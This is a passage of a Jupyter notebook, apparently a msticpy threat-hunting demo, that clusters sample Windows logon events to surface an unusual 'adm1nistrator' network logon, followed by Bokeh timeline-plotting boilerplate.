" ], "text/plain": [ " Unnamed: 0 TenantId \\\n", "1 1 802d39e1-9d70-404d-832c-2de5e2478eda \n", "0 0 802d39e1-9d70-404d-832c-2de5e2478eda \n", "2 2 802d39e1-9d70-404d-832c-2de5e2478eda \n", "\n", " Account EventID TimeGenerated \\\n", "1 NT AUTHORITY\\SYSTEM 4624 2019-01-15 01:42:28.340 \n", "0 MSTICAlertsWin1\\MSTICAdmin 4624 2019-01-15 04:28:33.090 \n", "2 MSTICAlertsWin1\\adm1nistrator 4624 2019-01-15 05:15:06.363 \n", "\n", " SourceComputerId Computer SubjectUserName \\\n", "1 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 MSTICAlertsWin1$ \n", "0 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 MSTICAlertsWin1$ \n", "2 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 - \n", "\n", " SubjectDomainName SubjectUserSid TargetUserName TargetDomainName \\\n", "1 WORKGROUP S-1-5-18 SYSTEM NT AUTHORITY \n", "0 WORKGROUP S-1-5-18 MSTICAdmin MSTICAlertsWin1 \n", "2 - S-1-0-0 adm1nistrator MSTICAlertsWin1 \n", "\n", " TargetUserSid TargetLogonId \\\n", "1 S-1-5-18 0x3e7 \n", "0 S-1-5-21-996632719-2361334927-4038480536-500 0xfaac27 \n", "2 S-1-5-21-996632719-2361334927-4038480536-1066 0xfb5ee6 \n", "\n", " LogonProcessName LogonType AuthenticationPackageName Status \\\n", "1 Advapi 5 Negotiate NaN \n", "0 Advapi 4 Negotiate NaN \n", "2 NtLmSsp 3 NTLM NaN \n", "\n", " IpAddress WorkstationName AccountNum LogonHour \\\n", "1 - - 1484 5 \n", "0 - MSTICAlertsWin1 2319 5 \n", "2 fe80::38dc:e4a9:61bd:b458 MSTICAlertsWin1 2799 5 \n", "\n", " Clustered ClusterId ClusterSize FirstEventTime \\\n", "1 True 1 11 2019-01-15 01:42:28.340 \n", "0 True 0 2 2019-01-15 04:28:33.090 \n", "2 False -1 1 2019-01-15 05:15:06.363 \n", "\n", " LastEventTime \n", "1 2019-01-15 05:15:14.453 \n", "0 2019-01-15 05:15:02.980 \n", "2 2019-01-15 05:15:06.363 " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from msticpy.analysis.eventcluster import (\n", " dbcluster_events,\n", " add_process_features,\n", " char_ord_score,\n", ")\n", "\n", "host_logons = pd.read_csv(\n", " \"data/host_logons.csv\", parse_dates=[\"TimeGenerated\"], infer_datetime_format=True\n", ")\n", "logon_features = host_logons.copy()\n", "logon_features[\"AccountNum\"] = host_logons.apply(\n", " lambda x: char_ord_score(x.Account), axis=1\n", ")\n", "logon_features[\"LogonHour\"] = host_logons.apply(lambda x: x.TimeGenerated.hour, axis=1)\n", "\n", "# you might need to play around with the max_cluster_distance parameter.\n", "# decreasing this gives more clusters.\n", "(clus_logons, _, _) = dbcluster_events(\n", " data=logon_features,\n", " time_column=\"TimeGenerated\",\n", " cluster_columns=[\"AccountNum\", \"LogonType\"],\n", " max_cluster_distance=0.0001,\n", ")\n", "print(\"Number of input events:\", len(host_logons))\n", "print(\"Number of clustered events:\", len(clus_logons))\n", "print(\"\\nDistinct host logon patterns:\")\n", "display(clus_logons.sort_values(\"TimeGenerated\"))\n" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", " \n", "
Account: adm1nistrator
Account Domain: MSTICAlertsWin1
Logon Time: 2019-01-15 05:15:06.363000
Logon type: 3(Network)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-1066
  SID S-1-5-21-996632719-2361334927-4038480536-1066 is local machine or domain account

Subject (source) account: -/-
Logon process: NtLmSsp
Authentication: NTLM
Source IpAddress: fe80::38dc:e4a9:61bd:b458
Source Host: MSTICAlertsWin1
Logon status: nan
Account: MSTICAdmin
Account Domain: MSTICAlertsWin1
Logon Time: 2019-01-15 04:28:33.090000
Logon type: 4(Batch)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500
  SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator
  SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: MSTICAlertsWin1
Logon status: nan
Account: SYSTEM
Account Domain: NT AUTHORITY
Logon Time: 2019-01-15 01:42:28.340000
Logon type: 5(Service)
User Id/SID: S-1-5-18
  SID S-1-5-18 is LOCAL_SYSTEM

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: -
Logon status: nan
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Display logon details\n", "nbdisplay.display_logon_data(clus_logons)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Comparing All Logons with Clustered results relative to Alert time line" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
Unnamed: 0TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeAuthenticationPackageNameStatusIpAddressWorkstationNameAccountNumLogonHourClusteredClusterIdClusterSizeFirstEventTimeLastEventTime
22802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\adm1nistrator46242019-01-15 05:15:06.36346fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1--S-1-0-0adm1nistratorMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-10660xfb5ee6NtLmSsp3NTLMNaNfe80::38dc:e4a9:61bd:b458MSTICAlertsWin127995False-112019-01-15 05:15:06.3632019-01-15 05:15:06.363
00802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\MSTICAdmin46242019-01-15 04:28:33.09046fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18MSTICAdminMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-5000xfaac27Advapi4NegotiateNaN-MSTICAlertsWin123195True022019-01-15 04:28:33.0902019-01-15 05:15:02.980
11802d39e1-9d70-404d-832c-2de5e2478edaNT AUTHORITY\\SYSTEM46242019-01-15 01:42:28.34046fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18SYSTEMNT AUTHORITYS-1-5-180x3e7Advapi5NegotiateNaN--14845True1112019-01-15 01:42:28.3402019-01-15 05:15:14.453
\n", "
" ], "text/plain": [ " Unnamed: 0 TenantId \\\n", "2 2 802d39e1-9d70-404d-832c-2de5e2478eda \n", "0 0 802d39e1-9d70-404d-832c-2de5e2478eda \n", "1 1 802d39e1-9d70-404d-832c-2de5e2478eda \n", "\n", " Account EventID TimeGenerated \\\n", "2 MSTICAlertsWin1\\adm1nistrator 4624 2019-01-15 05:15:06.363 \n", "0 MSTICAlertsWin1\\MSTICAdmin 4624 2019-01-15 04:28:33.090 \n", "1 NT AUTHORITY\\SYSTEM 4624 2019-01-15 01:42:28.340 \n", "\n", " SourceComputerId Computer SubjectUserName \\\n", "2 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 - \n", "0 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 MSTICAlertsWin1$ \n", "1 46fe7078-61bb-4bed-9430-7ac01d91c273 MSTICAlertsWin1 MSTICAlertsWin1$ \n", "\n", " SubjectDomainName SubjectUserSid TargetUserName TargetDomainName \\\n", "2 - S-1-0-0 adm1nistrator MSTICAlertsWin1 \n", "0 WORKGROUP S-1-5-18 MSTICAdmin MSTICAlertsWin1 \n", "1 WORKGROUP S-1-5-18 SYSTEM NT AUTHORITY \n", "\n", " TargetUserSid TargetLogonId \\\n", "2 S-1-5-21-996632719-2361334927-4038480536-1066 0xfb5ee6 \n", "0 S-1-5-21-996632719-2361334927-4038480536-500 0xfaac27 \n", "1 S-1-5-18 0x3e7 \n", "\n", " LogonProcessName LogonType AuthenticationPackageName Status \\\n", "2 NtLmSsp 3 NTLM NaN \n", "0 Advapi 4 Negotiate NaN \n", "1 Advapi 5 Negotiate NaN \n", "\n", " IpAddress WorkstationName AccountNum LogonHour \\\n", "2 fe80::38dc:e4a9:61bd:b458 MSTICAlertsWin1 2799 5 \n", "0 - MSTICAlertsWin1 2319 5 \n", "1 - - 1484 5 \n", "\n", " Clustered ClusterId ClusterSize FirstEventTime \\\n", "2 False -1 1 2019-01-15 05:15:06.363 \n", "0 True 0 2 2019-01-15 04:28:33.090 \n", "1 True 1 11 2019-01-15 01:42:28.340 \n", "\n", " LastEventTime \n", "2 2019-01-15 05:15:06.363 \n", "0 2019-01-15 05:15:02.980 \n", "1 2019-01-15 05:15:14.453 " ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "clus_logons" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n const force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n const JS_MIME_TYPE = 'application/javascript';\n const HTML_MIME_TYPE = 'text/html';\n const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n const CLASS_NAME = 'output_bokeh rendered_html';\n\n /**\n * Render data to the DOM node\n */\n function render(props, node) {\n const script = document.createElement(\"script\");\n node.appendChild(script);\n }\n\n /**\n * Handle when an output is cleared or removed\n */\n function handleClearOutput(event, handle) {\n const cell = handle.cell;\n\n const id = cell.output_area._bokeh_element_id;\n const server_id = cell.output_area._bokeh_server_id;\n // Clean up Bokeh references\n if (id != null && id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n\n if (server_id !== undefined) {\n // Clean up Bokeh references\n const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n cell.notebook.kernel.execute(cmd_clean, {\n iopub: {\n output: function(msg) {\n const id = msg.content.text.trim();\n if (id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n }\n }\n });\n // Destroy server and session\n const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n cell.notebook.kernel.execute(cmd_destroy);\n }\n }\n\n /**\n * Handle when a new output is added\n */\n function handleAddOutput(event, handle) {\n const output_area = handle.output_area;\n const output = handle.output;\n\n // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n return\n }\n\n const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n // store reference to embed id on output_area\n output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n }\n if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n const bk_div = document.createElement(\"div\");\n bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n const script_attrs = bk_div.children[0].attributes;\n for (let i = 0; i < script_attrs.length; i++) {\n toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n }\n // store reference to server id on output_area\n output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n }\n }\n\n function register_renderer(events, OutputArea) {\n\n function append_mime(data, metadata, element) {\n // create a DOM node to render to\n const toinsert = this.create_output_subarea(\n metadata,\n CLASS_NAME,\n EXEC_MIME_TYPE\n );\n this.keyboard_manager.register_events(toinsert);\n // Render to node\n const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n render(props, toinsert[toinsert.length - 1]);\n element.append(toinsert);\n return toinsert\n }\n\n /* Handle when an output is cleared or removed */\n events.on('clear_output.CodeCell', handleClearOutput);\n events.on('delete.Cell', handleClearOutput);\n\n /* Handle when a new output is added */\n events.on('output_added.OutputArea', handleAddOutput);\n\n /**\n * Register the mime type and append_mime function with output_area\n */\n OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n /* Is output safe? */\n safe: true,\n /* Index of renderer in `output_area.display_order` */\n index: 0\n });\n }\n\n // register the mime type if in Jupyter Notebook environment and previously unregistered\n if (root.Jupyter !== undefined) {\n const events = require('base/js/events');\n const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n register_renderer(events, OutputArea);\n }\n }\n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n const NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n const el = document.getElementById(\"1300\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error(url) {\n console.error(\"failed to load \" + url);\n }\n\n for (let i = 0; i < css_urls.length; i++) {\n const url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (let i = 0; i < js_urls.length; i++) {\n const url = js_urls[i];\n const element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n const css_urls = [];\n \n\n const inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (let i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n const cell = $(document.getElementById(\"1300\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));", "application/vnd.bokehjs_load.v0+json": "" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "(function(root) {\n function embed_document(root) {\n \n const docs_json = {\"c549f34e-269d-419d-a0cb-42d482f2b318\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1304\"},{\"id\":\"1336\"}]},\"id\":\"1440\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"1454\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1394\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1375\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1455\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1368\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1353\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1352\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1362\",\"type\":\"Circle\"},{\"attributes\":{\"end\":1547531229369.95,\"start\":1547514633423.05},\"id\":\"1339\",\"type\":\"Range1d\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1396\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"MSTICAlertsWin1\\\\adm1nistrator\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[4,5,3,5,5,4,5,5,5,5,5,5,5,5],\"TimeGenerated\":{\"__ndarray__\":\"AEA88/6EdkIAcJvz/oR2QgCwD/T+hHZCANAl9f6EdkIAUAn2/oR2QgAgHEr8hHZCABCzePiEdkIAUEV5+IR2QgAQTWn2hHZCAPDeafaEdkIAQE/J8oR2QgCgGfTyhHZCAJDayPeEdkIAsG3J94R2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[14]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"1418\"},\"selection_policy\":{\"id\":\"1417\"}},\"id\":\"1302\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"1301\"}},\"id\":\"1360\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1382\"},\"group\":null,\"major_label_policy\":{\"id\":\"1383\"},\"ticker\":{\"id\":\"1320\"},\"visible\":false},\"id\":\"1319\",\"type\":\"LinearAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1358\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"1302\"}},\"id\":\"1366\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1301\"},\"glyph\":{\"id\":\"1375\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1377\"},\"nonselection_glyph\":{\"id\":\"1376\"},\"view\":{\"id\":\"1379\"}},\"id\":\"1378\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"overlay\":{\"id\":\"1328\"}},\"id\":\"1324\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1301\"},\"glyph\":{\"id\":\"1356\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1358\"},\"nonselection_glyph\":{\"id\":\"1357\"},\"view\":{\"id\":\"1360\"}},\"id\":\"1359\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis\":{\"id\":\"1347\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1350\",\"type\":\"Grid\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1356\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1353\"},\"group\":null,\"major_label_policy\":{\"id\":\"1449\"},\"ticker\":{\"id\":\"1348\"}},\"id\":\"1347\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":1.5,\"start\":-0.5},\"id\":\"1309\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1302\"},\"glyph\":{\"id\":\"1362\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1364\"},\"nonselection_glyph\":{\"id\":\"1363\"},\"view\":{\"id\":\"1366\"}},\"id\":\"1365\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1397\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1323\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1390\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"LogonType\",\"@LogonType\"],[\"Account\",\"@Account\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"1303\",\"type\":\"HoverTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1376\",\"type\":\"Scatter\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1389\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1320\",\"type\":\"BasicTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1377\",\"type\":\"Scatter\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1327\",\"type\":\"PanTool\"},{\"attributes\":{\"source\":{\"id\":\"1301\"}},\"id\":\"1379\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1343\",\"type\":\"LinearScale\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"1402\"},{\"id\":\"1432\"}],\"location\":\"center_left\"},\"id\":\"1401\",\"type\":\"Legend\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1404\",\"type\":\"Scatter\"},{\"attributes\":{\"axis\":{\"id\":\"1319\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1322\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1326\",\"type\":\"SaveTool\"},{\"attributes\":{\"axis\":{\"id\":\"1315\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1318\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1341\",\"type\":\"DataRange1d\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1470\"},{\"id\":\"1471\"},{\"id\":\"1472\"},{\"id\":\"1473\"},{\"id\":\"1474\"},{\"id\":\"1475\"},{\"id\":\"1476\"},{\"id\":\"1477\"},{\"id\":\"1478\"},{\"id\":\"1479\"},{\"id\":\"1480\"},{\"id\":\"1481\"}]},\"id\":\"1348\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1345\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1357\",\"type\":\"